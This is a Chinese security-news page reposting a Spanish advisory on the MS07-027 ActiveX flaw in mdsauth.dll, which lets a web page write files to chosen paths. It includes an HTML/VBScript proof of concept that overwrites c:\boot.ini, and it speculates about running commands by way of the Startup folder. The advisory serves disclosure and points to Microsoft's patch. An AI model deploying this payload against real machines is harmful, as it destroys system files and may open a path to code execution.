今日精选 ·绝对解密 XP系统中隐藏的10个秘密 ·Windows系统文件详解【大全】 ·配置Windows Server 2008高级防火墙 ·带你现场体验专业服务器机房 ·屏蔽五项功能 让Windows XP极速狂飙 ·木马免杀技术大盘点 ·如何让无线路由信号更强更广 ·各大路由器默认密码(完美汇总经典版) ·如何构建安全的入侵检测系统 ·电脑故障维修判断指导大全(联想内部文件) >>>>
编程开发  Java | .Net | C/C++ | Delphi | VC/VB | XML | ASP | PHP
数据库  Oracle | Mysql | DB2 | Sql server
应用方案 无线网络方案 | 有线网络方案 

网管天地  网吧管理 | 路由器 | 交换机 | 服务器
网络安全  黑客技术 | 病毒漏洞 | 网站安全 | 服务器安全 | 入侵防御 | 防火墙
操作系统 Linux/Unix | Windows 
相关文章
没有相关文章
您现在的位置: 企业网络安全 >> 文章·资讯 >> 最新资讯 >> 病毒漏洞 >> 文章正文
MS07027 ( mdsauth.dll )
作者:Ruery 文章来源:H4x0r 点击数: 更新时间:2007-5-13 8:37:05
P.S 老外那边看到的.
MS已经发补丁了.这漏洞算是一个新的网马吧.

Hemos estado trasteando con una serie de controles Activex presentes en un Windows 2000 server completamente parcheado, y el resultado ha sido que 25 de estos activex son vulnerables de una u otra manera (desde stack overflows hasta simples denegaciones de servicio por la ausencia de ciertos parámetros)

Uno de los modulos que daba mas juego son los componentes del servicio "Windows media", cuyos fallos han sido parcheados en el último boletin de microsoft MS07-027

El componente que vamos a comentar es el {d4fe6227-1288-11d0-9097-00aa004254a0} NMSA Session Description Object (Ver 1.0) gestionado por la libreria mdsauth.dll.

Este componente tiene un método seguro llamado SaveAS que cuando es invocado escribe el fichero especificado en el disco.

El problema es que el contenido del fichero no es completamente controlable, por lo que solo ciertas cadenas de texto, especificadas como parámetro, llegarán a ser escritas en disco en ciertas partes del fichero.

De esta forma, el impacto que se puede obtener podría llegar a ser el siguiente:
- Denegacion de servicio: sobreescribiendo librerias o ficheros válidos del sistema, como por ejemplo c:\boot.ini
- Ejecución de código: si bien este supuesto no ha sido verificado, quizas sea posible, salvando el fichero en "%userprofile%\Start up" como un fichero .bat, llegar a ejecutar alguno de los comandos especificados en el parámetro del componente.

Para este último supuesto, tenemos un problema añadido, y es que dichas cadenas son guardadas en Unicode (UTF16). En teoría sería posible especificar alguna cadena que trás algun tipo de encode llegue a ser válida al convertirse a utf16 y de ahi llegar a ejecutar comandos. Si es posible o no, os lo dejamos como ejercicio para casa.

Por último, os adjunto una prueba de concepto de la vulnerabilidad.

<html>
<title> MS07-027 mdsauth.dll NMSA Session Description Object SaveAs control, arbitrary file modification </title>
<body>

<OBJECT id="target" classid="clsid:d4fe6227-1288-11d0-9097-00aa004254a0">

</OBJECT>
<script language="vbscript">
//The followin strings are converted to UTF16 inside the SaveAs file
target.SessionDescription="MS07-027 mdsauth.dll Proof of Concept exploit"
target.SessionAuthor="Andres Tarasco Acuna"
target.SessionEmailContact="atarasco_at_gmail.com"
target.SessionURL="http://h4x0r.0x54.org
target.SaveAs "c:\boot.ini"
</script>

</body>
</html>

-- Vendor Response:
Microsoft has issued an update to correct this vulnerability. More
details can be found at:

http://www.microsoft.com/technet/security/bulletin/ms07-027.mspx 

免责声明:作品版权归所属媒体与作者所有!!本站刊载此文不代表同意其说法或描述,仅为提供更多信息。如果您认为我们侵犯了您的版权,请告知!本站立即删除。有异议请联系我们。
文章录入:admin    责任编辑:admin 
网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
| 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 网站公告 |